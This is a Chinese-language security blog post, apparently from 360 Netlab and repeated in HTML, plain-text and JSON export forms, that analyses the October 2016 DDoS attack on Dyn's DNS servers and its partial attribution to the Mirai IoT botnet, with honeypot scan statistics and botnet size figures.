的Web服务器在当天早些时候遭受了直接的DDoS攻击，但是我们不认为那次攻击可以解释整体大范围的安全事件，也并未深究个体事件与整体事件背后的关系。<br> 以上攻击信息可以通过 <a href="https://ddosmon.net/explore/your.target/">https://ddosmon.net/explore/your.target/</a> 来验证。部分链接如下，读者可以根据需要自行调整查询。<br> <a href="https://ddosmon.net/explore/twitter.com/">https://ddosmon.net/explore/twitter.com/</a><br> <a href="https://ddosmon.net/explore/github.com/">https://ddosmon.net/explore/github.com/</a><br> <a href="https://ddosmon.net/explore/paypal.com/">https://ddosmon.net/explore/paypal.com/</a><br> <a href="https://ddosmon.net/explore/208.78.70.34/">https://ddosmon.net/explore/208.78.70.34/</a><br> <a href="https://ddosmon.net/explore/208.78.71.34/">https://ddosmon.net/explore/208.78.71.34/</a><br> <a href="https://ddosmon.net/explore/204.13.250.34/">https://ddosmon.net/explore/204.13.250.34/</a><br> <a href="https://ddosmon.net/explore/204.13.251.34/">https://ddosmon.net/explore/204.13.251.34/</a></p> <p>【攻击现场技术特征】</p> <p>攻击现场有更多技术细节可供讨论，我们列举出部分认为重要的特点，供安全社区进一步分析，以期减轻攻击者对网络的影响。</p> <p>时间窗口方面，本次攻击主要发生在北京时间2016年10月21日晚间19：00～22：50之间。</p> <p>攻击手段方面，如前所述本次事件中主要是syn flood和dns flood。下面我们分析攻击的具体特征，并试图分析攻击与mirai泄漏版本/未知mirai变种/其他基于IoT的僵尸网络之间的归因关系。</p> <p>关于本次攻击中的Syn flood部分，攻击发起的bot IP地址我们倾向认为是真实的。这些IP地址中有45%在最近有扫描23/2323端口的历史行为记录，这一点与mirai的行为相似。在安全社区已经公开的信息中，认为本次攻击流量特征符合Mirai的流量特点。综合以上两点，我们认为本次攻击中有Mirai或者其变种参与。但是对比这些Ip地址与已知mirai bot列表，只有&lt;2%的比例命中，这会一定程度上削弱“整体而非部分攻击由mirai发起”的说法，我们在后文试图引入不同的假设给予解释。</p> <p>关于本次攻击中的 dns flood 部分，我们倾向认为发起的bot IP是伪造或者是非Mirai家族的。这些IP地址分布离散度直观上看并不高，并且没有历史扫描行为，探查部分IP的开放端口看起来也不像是IoT设备。再加上从泄漏版本的Mirai源码分析，原始版本的mirai 在发起dns flood攻击的时候不会伪造源IP地址，我们可以判定：要么这些IP地址是伪造的，那么一定不是原始版本的mirai；要么这些IP地址是真实的，那就与mirai的关系更远，甚至可能是其他任何僵尸网络发起的。</p> <p>2016年10月27日更新：在安全社区的帮助下，我们获得了少量攻击现场的数据，证实了之前分析中的若干观点：攻击手段中包含 syn flood，真实源IP，小包，这些真实 bot IP 在我们到今天为止的bot IP 列表中命中率大约33%；攻击手段中包含dns flood，使用伪造源IP，这部分攻击可以断言不是由mirai发起，至少不是泄漏版本mirai发起。所有这些现象与我们之前的观点吻合一致。</p> <p>以上IP地址和mirai/mirai变种之间的分析汇总如下表所示：<br> <img src="__GHOST_URL__/content/images/2016/10/table_04_ddos_sip_attribute.png" alt="" loading="lazy"></p> <p>多个公开的消息源还提到本次攻击中存在DNS变前缀攻击。这种攻击手段通常是针对域名解析服务器，本次攻击中的受害者正是如此。虽然在我们自有的数据中无法验证上述说法，按照我们对消息源既往的信任程度，我们认为这种说法的确成立。</p> <p>综合起来在攻击手段方面，我们本次攻击中看到了syn flood 和 dns flood，并且相信有dns变前缀攻击存在。总体而言，我们虽然可以认定泄漏版本mirai贡献了本次攻击中的部分流量，但是无法将全部流量归结到泄漏版本mirai。加入不同的假设可以对现象做不同的解释：<br> ——也许是我们收集的bot IP 列表不全面；<br> ——或者我们看到的攻击流量不足以代表dyn在北美地区实际遭受的攻击；<br> ——或者是mirai产生了变种，并且参与了本次攻击；<br> ——或者是其他僵尸网络家族参与了本次攻击。<br> 目前为止我们无法用手头的数据或事实来选择任何一种假设继续深入。</p> <p>botIP方面，部分bot IP 探测情况是光猫、网络摄像头和网关路由器，这可以验证近期安全社区对以maria为代表的基于IoT的僵尸网络的担心，也值得我们在这里呼吁各IoT设备厂商加强与互联网安全厂商的合作，共同增强网络空间中的安全感。</p> <p>部分攻击源IP系统截图如下：<br> <img src="__GHOST_URL__/content/images/2016/10/02_bot_system_list.png" alt="" loading="lazy"></p> <p>【Mirai僵尸网络历史情况回溯和统计数据】</p> <p>在2016年8月1日，我们设置的蜜罐第一次被未知扫描源扫中。在9月6日，我们意识到在2323端口上的扫描源有一个显著的spike，并在后续的时间里，我们与安全社区一起，对mirai的源码、扫描感染行为、攻击行为在流量特征、样本特征等方面做了持续的跟踪和分析。整体过程的时间线如下：<br> <img src="__GHOST_URL__/content/images/2016/10/table_05_marai_traceback_timeline.png" alt="" loading="lazy"></p> <p>蜜罐被mirai首次扫描到的时间是2016-08-01 12:46，如下图所示。对应的数据可以在下图附属的URL中获得，即2016-08-01～2016-08-08期间感染marai的bot ip数据。<br> <img src="__GHOST_URL__/content/images/2016/10/table_06_marai_port23_scan_first_hit.png" alt="" loading="lazy"><br> <a href="http://data.netlab.360.com/feeds/mirai-scanner/scanner.list">http://data.netlab.360.com/feeds/mirai-scanner/scanner.list</a></p> <p>端口2323上的mirai扫描首次出现在 2016-09-06，如下图所示。2016-08-09及以后的数据，可以发邮件到 <a href="mailto:[email protected]">[email protected]</a> 申请。<br> <img src="__GHOST_URL__/content/images/2016/10/table_07_marai_port2323_scan_first_hit.png" alt="" loading="lazy"></p> <p>我们在9月6日观察到的在端口2323上的扫描源暴涨的情况，可以在下图中直观的观察到，或者可以在图下附属的URL中看到最近30天变化的版本。<br> <img src="__GHOST_URL__/content/images/2016/10/03_spike_on_port2323_first_notice.png" alt="" loading="lazy"></p> <p><a href="http://scan.netlab.360.com/#/dashboard?dstport=2323">http://scan.netlab.360.com/#/dashboard?dstport=2323</a></p> <p>我们首篇关于marai的文章发表于2016年10月16日，在blog.netlab.360.com上。在这篇文章中我们提及了收集marai bot IP列表的基本原理和当时的数据统计情况：<br> <a href="__GHOST_URL__/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months/">http://blog.netlab.360.com/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months/</a></p> <p>我们在分析mirai泄漏源码的过程中，发现了mirai扫描模块的一些缺陷/特征，基于这一点我们可以通过检查syn包头部将mirai的扫描与其他在 tcp 23 和tcp 2323 上的扫描源做显著的区分。基于以上分析，我们在历史数据中将mirai的扫描活动可以一直回溯到首次命中时间2016年8月1日。<br> 进一步对Mirai的历史扫描做统计，使得我们有机会细致观察mirai的感染过程的不同阶段：</p> <p>——8月1日开始，扫描感染过程发起，至9月6日以前，mirai仅扫描23端口。每日扫描源在2k～13k之间波动，中间两个波峰期每日扫描源维持在8k～11k上下，这段时间内每天大约90%～80%的扫描源是之前没有看到的；</p> <p>——9月6日开始，mirai开始扫描2323 端口，与23端口相比，数量小了大约1个数量级。但此时扫描量相对较小，无论是23端口还是2323端口。</p> <p>——9月16日到现在，mirai的扫描感染进入一个稳定的发展期，日均扫描IP稳定在16k~22k之间，全新扫描/botIP的比例从80%逐渐下滑到65%～55%区间以后下降速度非常缓慢。</p> <p>——至2016年10月23日凌晨，累积观察到的mirai bot IP已经有大约720k。这是一个大规模的僵尸网络。</p> <p>总体而言，marai僵尸网络目前规模已经有720k，这是个相当大的数字，再加上当前的规模扩张仍然保持高速且稳定，这让人相当不安。<br> 以上数据可以从下面两个图中直观的观察：<br> <img src="__GHOST_URL__/content/images/2016/10/04_mirai_stats_01.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2016/10/04_mirai_stats_02.png" alt="" loading="lazy"></p> <p>在来源IP的地理分布方面，我们观察到的bot主要来自 .vn .br .cn .in .co .ru。这五个国家和地区累积占据了我们视野中56%。<br> <img src="__GHOST_URL__/content/images/2016/10/04_mirai_stats_03.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2016/10/table_08_marai_geo_distibute.png" alt="" loading="lazy"></p> <p>我们已经建立了系统实时跟踪mirai僵尸网络，上述数字每日更新，可以在下列网址访问。这个网址上还有mirai的2016.08.01～2016.08.08的bot IP列表可供下载。更完整的bot IP 列表可以发电子邮件到 [email protected]申请。<br> <a href="http://data.netlab.360.com/mirai-scanner">http://data.netlab.360.com/mirai-scanner</a></p> <p>我们还进一步跟踪了mirai的攻击指令发送渠道。通过分析过去七天的指令发起时间，从时间分布上来看，指令的高峰期发生在北京时间 (GMT +8)的凌晨5：10～7：50之间，这不太符合这个时区既往僵尸网络操作者发出指令的时间，我们倾向于排除mirai的操作者来自北京时区（GMT +8）的可能性。<br> <img src="__GHOST_URL__/content/images/2016/10/05_mirai_attack_cmd_timezone_distribute-1.png" alt="" loading="lazy"></p> <p>分析过程中涉及到的工具系统均统一列出在 netlab.360.com，如下表。其中大部分的系统向公众开放，白帽子可以自行运用。部分数据不宜直接公开，仅向受信任的安全社区开放， 白帽子可以在取得我们信任的前提下申请访问。<br> <img src="__GHOST_URL__/content/images/2016/10/table_09_marai_tracing_related_systems.png" alt="" loading="lazy"></p> <!--kg-card-end: markdown-->

【更新记录】 2016-10-23 初始版本 2016-10-27 获得了少量攻击现场数据，分析结果与之前观点吻合一致。 北京时间2016年10月21 日晚间，北美地区大量反馈若干重要的互联网网站无法正常访问。涉及到的网站包括 twitter， paypal，github等等，由于这些网站与北美地区日常生活强烈相关，这次网络故障被北美主要媒体广泛报道，也引起了安全社区的强烈关注。我们与国外安全社区一起协同，对本次网络事件提供数据、加以分析并做了溯源跟踪。 目前我们已经能够确定本次事件是一次DDoS网络攻击事件，攻击目标主要是Dynamic Network Services（dyn）公司，twitter、paypal、github等网站作为dyn公司的客户，在本次攻击中不幸被波及。 在攻击持续溯源的过程中，虽然目前Flashpoint公司已经确认最近广泛受关注的mirai僵尸网络参与了本次网络攻击，但是我们倾向认为虽然mirai贡献了本次攻击的部分攻击流量，但并非所有的攻击流量都来自原始泄漏版本mirai。具体来源不明，可能是源自我们数据地缘性导致的分析误差，也可能是来自mirai的变种或者混合模式的DDoS攻击。 2016年10月27日更新：在安全社区的帮助下，我们获得了少量攻击现场的数据，证实了之前分析中的若干观点：攻击手段中包含 syn flood，真实源IP，小包，这些真实 bot IP 在我们到今天为止的bot IP 列表中命中率大约33%；攻击手段中包含dns flood，使用伪造源IP，可以断定这部分攻击不是有mirai发起，至少不是泄漏版本mirai发起。所有这些现象与我们之前的观点吻合一致。 【攻击受害者的判定和影响范围的评估】 接到反馈后，我们很快认定攻击受害者是twitter.com使用的域名服务器，而非 twitter.com paypal.com 的Web服务器直接遭受攻击。 dyn公司是知名的网络域名服务提供商，本次攻击中受影响的twitter等多个著名公司都是dyn公司的客户。Dyn公司使用了四个域名/IP为twitter提供域名解析服务，这四个IP分布在四个C类段或者两个B类段中，传统上这是一种常见的网络负载均衡手段。四个IP地址如下表所示。 在本次事件中，四个IP地址在当天19：00～22：50期间的网络流量波形图如下。峰值达到日常背景流量的20倍，可以判定发生了流量攻击。 在我们数据基础上进一步的分析指出，攻击者的攻击手段是混合使用DNS_flood和 syn_flood，结合公开媒体的报道，我们推断这组攻击得手，这组服务器不再对外提供服务，twitter.com 网站在这段时间内也无法访问。以上是攻击的直接受害者。 但是除了twitter还有大量网站例如 paypal.com 和 github.com也无法访问，我们推断这是由于上述攻击造成的波及效应。如下表所示，paypal和github也是DYN的客户。 dyn为每个重要客户提供四组地址，分布在四个C类段中，如前所述，这是一种传统的网络负载均衡手段。但是在这个结构中，如果四个网段同时遭到大流量的网络攻击，则全部四个段的客户都会受到影响。 我们认为在本次事件中就发生了这种情况，大流量针对 .34/twitter的攻击影响到了同网段不限于 .15/github、.57/paypal服务器的网络流量，最终 github/paypal和twitter一同暂时无法访问。不仅是以上列出的三家网站，其他该网段的客户也会受到影响，比如.5/playstation.net；而如果一个网站不使用dyn的域名解析服务则不会受到影响，比如 wikileak。 在我们的分析中，我们也注意到 github.com 的Web服务器在当天早些时候遭受了直接的DDoS攻击，但是我们不认为那次攻击可以解释整体大范围的安全事件，也并未深究个体事件与整体事件背后的关系。 以上攻击信息可以通过 https://ddosmon.net/explore/your.target/ 来验证。部分链接如下，读者可以根据需要自行调整查询。 https://ddosmon.net/explore/twitter.com/ https://ddosmon.net/explore/github.com/ https://ddosmon.net/explore/paypal.com/ https://ddosmon.net/explore/208.78.70.34/ https://ddosmon.net/explore/208.78.71.34/ https://ddosmon.net/explore/204.13.250.34/ https://ddosmon.net/explore/204.13.251.34/ 【攻击现场技术特征】 攻击现场有更多技术细节可供讨论，我们列举出部分认为重要的特点，供安全社区进一步分析，以期减轻攻击者对网络的影响。 时间窗口方面，本次攻击主要发生在北京时间2016年10月21日晚间19：00～22：50之间。 攻击手段方面，如前所述本次事件中主要是syn flood和dns flood。下面我们分析攻击的具体特征，并试图分析攻击与mirai泄漏版本/未知mirai变种/其他基于IoT的僵尸网络之间的归因关系。 关于本次攻击中的Syn flood部分，攻击发起的bot IP地址我们倾向认为是真实的。这些IP地址中有45%在最近有扫描23/2323端口的历史行为记录，这一点与mirai的行为相似。在安全社区已经公开的信息中，认为本次攻击流量特征符合Mirai的流量特点。综合以上两点，我们认为本次攻击中有Mirai或者其变种参与。但是对比这些Ip地址与已知mirai bot列表，只有<2%的比例命中，这会一定程度上削弱“整体而非部分攻击由mirai发起”的说法，我们在后文试图引入不同的假设给予解释。 关于本次攻击中的 dns flood 部分，我们倾向认为发起的bot IP是伪造或者是非Mirai家族的。这些IP地址分布离散度直观上看并不高，并且没有历史扫描行为，探查部分IP的开放端口看起来也不像是IoT设备。再加上从泄漏版本的Mirai源码分析，原始版本的mirai 在发起dns flood攻击的时候不会伪造源IP地址，我们可以判定：要么这些IP地址是伪造的，那么一定不是原始版本的mirai；要么这些IP地址是真实的，那就与mirai的关系更远，甚至可能是其他任何僵尸网络发起的。 2016年10月27日更新：在安全社区的帮助下，我们获得了少量攻击现场的数据，证实了之前分析中的若干观点：攻击手段中包含 syn flood，真实源IP，小包，这些真实 bot IP 在我们到今天为止的bot IP 列表中命中率大约33%；攻击手段中包含dns flood，使用伪造源IP，这部分攻击可以断言不是由mirai发起，至少不是泄漏版本mirai发起。所有这些现象与我们之前的观点吻合一致。 以上IP地址和mirai/mirai变种之间的分析汇总如下表所示： 多个公开的消息源还提到本次攻击中存在DNS变前缀攻击。这种攻击手段通常是针对域名解析服务器，本次攻击中的受害者正是如此。虽然在我们自有的数据中无法验证上述说法，按照我们对消息源既往的信任程度，我们认为这种说法的确成立。 综合起来在攻击手段方面，我们本次攻击中看到了syn flood 和 dns flood，并且相信有dns变前缀攻击存在。总体而言，我们虽然可以认定泄漏版本mirai贡献了本次攻击中的部分流量，但是无法将全部流量归结到泄漏版本mirai。加入不同的假设可以对现象做不同的解释： ——也许是我们收集的bot IP 列表不全面； ——或者我们看到的攻击流量不足以代表dyn在北美地区实际遭受的攻击； ——或者是mirai产生了变种，并且参与了本次攻击； ——或者是其他僵尸网络家族参与了本次攻击。 目前为止我们无法用手头的数据或事实来选择任何一种假设继续深入。 botIP方面，部分bot IP 探测情况是光猫、网络摄像头和网关路由器，这可以验证近期安全社区对以maria为代表的基于IoT的僵尸网络的担心，也值得我们在这里呼吁各IoT设备厂商加强与互联网安全厂商的合作，共同增强网络空间中的安全感。 部分攻击源IP系统截图如下： 【Mirai僵尸网络历史情况回溯和统计数据】 在2016年8月1日，我们设置的蜜罐第一次被未知扫描源扫中。在9月6日，我们意识到在2323端口上的扫描源有一个显著的spike，并在后续的时间里，我们与安全社区一起，对mirai的源码、扫描感染行为、攻击行为在流量特征、样本特征等方面做了持续的跟踪和分析。整体过程的时间线如下： 蜜罐被mirai首次扫描到的时间是2016-08-01 12:46，如下图所示。对应的数据可以在下图附属的URL中获得，即2016-08-01～2016-08-08期间感染marai的bot ip数据。 http://data.netlab.360.com/feeds/mirai-scanner/scanner.list 端口2323上的mirai扫描首次出现在 2016-09-06，如下图所示。2016-08-09及以后的数据，可以发邮件到 [email protected] 申请。 我们在9月6日观察到的在端口2323上的扫描源暴涨的情况，可以在下图中直观的观察到，或者可以在图下附属的URL中看到最近30天变化的版本。 http://scan.netlab.360.com/#/dashboard?dstport=2323 我们首篇关于marai的文章发表于2016年10月16日，在blog.netlab.360.com上。在这篇文章中我们提及了收集marai bot IP列表的基本原理和当时的数据统计情况： http://blog.netlab.360.com/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months/ 我们在分析mirai泄漏源码的过程中，发现了mirai扫描模块的一些缺陷/特征，基于这一点我们可以通过检查syn包头部将mirai的扫描与其他在 tcp 23 和tcp 2323 上的扫描源做显著的区分。基于以上分析，我们在历史数据中将mirai的扫描活动可以一直回溯到首次命中时间2016年8月1日。 进一步对Mirai的历史扫描做统计，使得我们有机会细致观察mirai的感染过程的不同阶段： ——8月1日开始，扫描感染过程发起，至9月6日以前，mirai仅扫描23端口。每日扫描源在2k～13k之间波动，中间两个波峰期每日扫描源维持在8k～11k上下，这段时间内每天大约90%～80%的扫描源是之前没有看到的； ——9月6日开始，mirai开始扫描2323 端口，与23端口相比，数量小了大约1个数量级。但此时扫描量相对较小，无论是23端口还是2323端口。 ——9月16日到现在，mirai的扫描感染进入一个稳定的发展期，日均扫描IP稳定在16k~22k之间，全新扫描/botIP的比例从80%逐渐下滑到65%～55%区间以后下降速度非常缓慢。 ——至2016年10月23日凌晨，累积观察到的mirai bot IP已经有大约720k。这是一个大规模的僵尸网络。 总体而言，marai僵尸网络目前规模已经有720k，这是个相当大的数字，再加上当前的规模扩张仍然保持高速且稳定，这让人相当不安。 以上数据可以从下面两个图中直观的观察： 在来源IP的地理分布方面，我们观察到的bot主要来自 .vn .br .cn .in .co .ru。这五个国家和地区累积占据了我们视野中56%。 我们已经建立了系统实时跟踪mirai僵尸网络，上述数字每日更新，可以在下列网址访问。这个网址上还有mirai的2016.08.01～2016.08.08的bot IP列表可供下载。更完整的bot IP 列表可以发电子邮件到 [email protected]申请。 http://data.netlab.360.com/mirai-scanner 我们还进一步跟踪了mirai的攻击指令发送渠道。通过分析过去七天的指令发起时间，从时间分布上来看，指令的高峰期发生在北京时间 (GMT +8)的凌晨5：10～7：50之间，这不太符合这个时区既往僵尸网络操作者发出指令的时间，我们倾向于排除mirai的操作者来自北京时区（GMT +8）的可能性。 分析过程中涉及到的工具系统均统一列出在 netlab.360.com，如下表。其中大部分的系统向公众开放，白帽子可以自行运用。部分数据不宜直接公开，仅向受信任的安全社区开放， 白帽子可以在取得我们信任的前提下申请访问。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n【更新记录】\n\n2016-10-23 初始版本\n2016-10-27 获得了少量攻击现场数据，分析结果与之前观点吻合一致。\n\n\n北京时间2016年10月21 日晚间，北美地区大量反馈若干重要的互联网网站无法正常访问。涉及到的网站包括 twitter， paypal，github等等，由于这些网站与北美地区日常生活强烈相关，这次网络故障被北美主要媒体广泛报道，也引起了安全社区的强烈关注。我们与国外安全社区一起协同，对本次网络事件提供数据、加以分析并做了溯源跟踪。\n\n目前我们已经能够确定本次事件是一次DDoS网络攻击事件，攻击目标主要是Dynamic Network Services（dyn）公司，twitter、paypal、github等网站作为dyn公司的客户，在本次攻击中不幸被波及。\n在攻击持续溯源的过程中，虽然目前Flashpoint公司已经确认最近广泛受关注的mirai僵尸网络参与了本次网络攻击，但是我们倾向认为虽然mirai贡献了本次攻击的部分攻击流量，但并非所有的攻击流量都来自原始泄漏版本mirai。具体来源不明，可能是源自我们数据地缘性导致的分析误差，也可能是来自mirai的变种或者混合模式的DDoS攻击。 \n\n2016年10月27日更新：在安全社区的帮助下，我们获得了少量攻击现场的数据，证实了之前分析中的若干观点：攻击手段中包含 syn flood，真实源IP，小包，这些真实 bot IP 在我们到今天为止的bot IP 列表中命中率大约33%；攻击手段中包含dns flood，使用伪造源IP，可以断定这部分攻击不是有mirai发起，至少不是泄漏版本mirai发起。所有这些现象与我们之前的观点吻合一致。\n\n【攻击受害者的判定和影响范围的评估】\n\n接到反馈后，我们很快认定攻击受害者是twitter.com使用的域名服务器，而非 twitter.com paypal.com 的Web服务器直接遭受攻击。\n\ndyn公司是知名的网络域名服务提供商，本次攻击中受影响的twitter等多个著名公司都是dyn公司的客户。Dyn公司使用了四个域名/IP为twitter提供域名解析服务，这四个IP分布在四个C类段或者两个B类段中，传统上这是一种常见的网络负载均衡手段。四个IP地址如下表所示。\n\n\n\n在本次事件中，四个IP地址在当天19：00～22：50期间的网络流量波形图如下。峰值达到日常背景流量的20倍，可以判定发生了流量攻击。 \n\n\n在我们数据基础上进一步的分析指出，攻击者的攻击手段是混合使用DNS_flood和 syn_flood，结合公开媒体的报道，我们推断这组攻击得手，这组服务器不再对外提供服务，twitter.com 网站在这段时间内也无法访问。以上是攻击的直接受害者。\n\n\n\n但是除了twitter还有大量网站例如 paypal.com 和 github.com也无法访问，我们推断这是由于上述攻击造成的波及效应。如下表所示，paypal和github也是DYN的客户。\n\n\n\ndyn为每个重要客户提供四组地址，分布在四个C类段中，如前所述，这是一种传统的网络负载均衡手段。但是在这个结构中，如果四个网段同时遭到大流量的网络攻击，则全部四个段的客户都会受到影响。\n\n我们认为在本次事件中就发生了这种情况，大流量针对 *.34/twitter的攻击影响到了同网段不限于 *.15/github、*.57/paypal服务器的网络流量，最终 github/paypal和twitter一同暂时无法访问。不仅是以上列出的三家网站，其他该网段的客户也会受到影响，比如*.5/playstation.net；而如果一个网站不使用dyn的域名解析服务则不会受到影响，比如 wikileak。\n\n在我们的分析中，我们也注意到 github.com 的Web服务器在当天早些时候遭受了直接的DDoS攻击，但是我们不认为那次攻击可以解释整体大范围的安全事件，也并未深究个体事件与整体事件背后的关系。\n以上攻击信息可以通过 https://ddosmon.net/explore/your.target/ 来验证。部分链接如下，读者可以根据需要自行调整查询。\nhttps://ddosmon.net/explore/twitter.com/\nhttps://ddosmon.net/explore/github.com/\nhttps://ddosmon.net/explore/paypal.com/\nhttps://ddosmon.net/explore/208.78.70.34/\nhttps://ddosmon.net/explore/208.78.71.34/\nhttps://ddosmon.net/explore/204.13.250.34/\nhttps://ddosmon.net/explore/204.13.251.34/\n\n\n【攻击现场技术特征】\n\n攻击现场有更多技术细节可供讨论，我们列举出部分认为重要的特点，供安全社区进一步分析，以期减轻攻击者对网络的影响。\n\n时间窗口方面，本次攻击主要发生在北京时间2016年10月21日晚间19：00～22：50之间。\n\n攻击手段方面，如前所述本次事件中主要是syn flood和dns flood。下面我们分析攻击的具体特征，并试图分析攻击与mirai泄漏版本/未知mirai变种/其他基于IoT的僵尸网络之间的归因关系。\n\n关于本次攻击中的Syn flood部分，攻击发起的bot IP地址我们倾向认为是真实的。这些IP地址中有45%在最近有扫描23/2323端口的历史行为记录，这一点与mirai的行为相似。在安全社区已经公开的信息中，认为本次攻击流量特征符合Mirai的流量特点。综合以上两点，我们认为本次攻击中有Mirai或者其变种参与。但是对比这些Ip地址与已知mirai bot列表，只有<2%的比例命中，这会一定程度上削弱“整体而非部分攻击由mirai发起”的说法，我们在后文试图引入不同的假设给予解释。\n\n关于本次攻击中的 dns flood 部分，我们倾向认为发起的bot IP是伪造或者是非Mirai家族的。这些IP地址分布离散度直观上看并不高，并且没有历史扫描行为，探查部分IP的开放端口看起来也不像是IoT设备。再加上从泄漏版本的Mirai源码分析，原始版本的mirai 在发起dns flood攻击的时候不会伪造源IP地址，我们可以判定：要么这些IP地址是伪造的，那么一定不是原始版本的mirai；要么这些IP地址是真实的，那就与mirai的关系更远，甚至可能是其他任何僵尸网络发起的。\n\n2016年10月27日更新：在安全社区的帮助下，我们获得了少量攻击现场的数据，证实了之前分析中的若干观点：攻击手段中包含 syn flood，真实源IP，小包，这些真实 bot IP 在我们到今天为止的bot IP 列表中命中率大约33%；攻击手段中包含dns flood，使用伪造源IP，这部分攻击可以断言不是由mirai发起，至少不是泄漏版本mirai发起。所有这些现象与我们之前的观点吻合一致。\n\n以上IP地址和mirai/mirai变种之间的分析汇总如下表所示：\n\n\n多个公开的消息源还提到本次攻击中存在DNS变前缀攻击。这种攻击手段通常是针对域名解析服务器，本次攻击中的受害者正是如此。虽然在我们自有的数据中无法验证上述说法，按照我们对消息源既往的信任程度，我们认为这种说法的确成立。\n\n综合起来在攻击手段方面，我们本次攻击中看到了syn flood 和 dns flood，并且相信有dns变前缀攻击存在。总体而言，我们虽然可以认定泄漏版本mirai贡献了本次攻击中的部分流量，但是无法将全部流量归结到泄漏版本mirai。加入不同的假设可以对现象做不同的解释：\n——也许是我们收集的bot IP 列表不全面；\n——或者我们看到的攻击流量不足以代表dyn在北美地区实际遭受的攻击；\n——或者是mirai产生了变种，并且参与了本次攻击；\n——或者是其他僵尸网络家族参与了本次攻击。\n目前为止我们无法用手头的数据或事实来选择任何一种假设继续深入。\n\nbotIP方面，部分bot IP 探测情况是光猫、网络摄像头和网关路由器，这可以验证近期安全社区对以maria为代表的基于IoT的僵尸网络的担心，也值得我们在这里呼吁各IoT设备厂商加强与互联网安全厂商的合作，共同增强网络空间中的安全感。\n\n部分攻击源IP系统截图如下：\n\n\n\n【Mirai僵尸网络历史情况回溯和统计数据】\n\n在2016年8月1日，我们设置的蜜罐第一次被未知扫描源扫中。在9月6日，我们意识到在2323端口上的扫描源有一个显著的spike，并在后续的时间里，我们与安全社区一起，对mirai的源码、扫描感染行为、攻击行为在流量特征、样本特征等方面做了持续的跟踪和分析。整体过程的时间线如下：\n\n\n蜜罐被mirai首次扫描到的时间是2016-08-01 12:46，如下图所示。对应的数据可以在下图附属的URL中获得，即2016-08-01～2016-08-08期间感染marai的bot ip数据。\n\nhttp://data.netlab.360.com/feeds/mirai-scanner/scanner.list\n\n端口2323上的mirai扫描首次出现在 2016-09-06，如下图所示。2016-08-09及以后的数据，可以发邮件到 [email protected] 申请。\n\n\n我们在9月6日观察到的在端口2323上的扫描源暴涨的情况，可以在下图中直观的观察到，或者可以在图下附属的URL中看到最近30天变化的版本。\n\n \nhttp://scan.netlab.360.com/#/dashboard?dstport=2323\n\n我们首篇关于marai的文章发表于2016年10月16日，在blog.netlab.360.com上。在这篇文章中我们提及了收集marai bot IP列表的基本原理和当时的数据统计情况：\n__GHOST_URL__/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months/\n\n我们在分析mirai泄漏源码的过程中，发现了mirai扫描模块的一些缺陷/特征，基于这一点我们可以通过检查syn包头部将mirai的扫描与其他在 tcp 23 和tcp 2323 上的扫描源做显著的区分。基于以上分析，我们在历史数据中将mirai的扫描活动可以一直回溯到首次命中时间2016年8月1日。\n进一步对Mirai的历史扫描做统计，使得我们有机会细致观察mirai的感染过程的不同阶段：\n\n——8月1日开始，扫描感染过程发起，至9月6日以前，mirai仅扫描23端口。每日扫描源在2k～13k之间波动，中间两个波峰期每日扫描源维持在8k～11k上下，这段时间内每天大约90%～80%的扫描源是之前没有看到的； \n\n——9月6日开始，mirai开始扫描2323 端口，与23端口相比，数量小了大约1个数量级。但此时扫描量相对较小，无论是23端口还是2323端口。\n\n——9月16日到现在，mirai的扫描感染进入一个稳定的发展期，日均扫描IP稳定在16k~22k之间，全新扫描/botIP的比例从80%逐渐下滑到65%～55%区间以后下降速度非常缓慢。\n\n——至2016年10月23日凌晨，累积观察到的mirai bot IP已经有大约720k。这是一个大规模的僵尸网络。\n\n总体而言，marai僵尸网络目前规模已经有720k，这是个相当大的数字，再加上当前的规模扩张仍然保持高速且稳定，这让人相当不安。\n以上数据可以从下面两个图中直观的观察：\n\n\n \n \n在来源IP的地理分布方面，我们观察到的bot主要来自 .vn .br .cn .in .co .ru。这五个国家和地区累积占据了我们视野中56%。\n\n\n \n我们已经建立了系统实时跟踪mirai僵尸网络，上述数字每日更新，可以在下列网址访问。这个网址上还有mirai的2016.08.01～2016.08.08的bot IP列表可供下载。更完整的bot IP 列表可以发电子邮件到 [email protected]申请。\nhttp://data.netlab.360.com/mirai-scanner\n\n我们还进一步跟踪了mirai的攻击指令发送渠道。通过分析过去七天的指令发起时间，从时间分布上来看，指令的高峰期发生在北京时间 (GMT +8)的凌晨5：10～7：50之间，这不太符合这个时区既往僵尸网络操作者发出指令的时间，我们倾向于排除mirai的操作者来自北京时区（GMT +8）的可能性。\n\n\n分析过程中涉及到的工具系统均统一列出在 netlab.360.com，如下表。其中大部分的系统向公众开放，白帽子可以自行运用。部分数据不宜直接公开，仅向受信任的安全社区开放， 白帽子可以在取得我们信任的前提下申请访问。\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

32

post

2016-10-27T15:41:40.000Z

63873b9a8b1c1e0007f52eeb

a-mirai-botnet-c2-data-analysis

2018-10-06T08:56:11.000Z

public

published

2016-10-27T16:04:02.000Z

关于 mirai 僵尸网络控制主机的数据分析

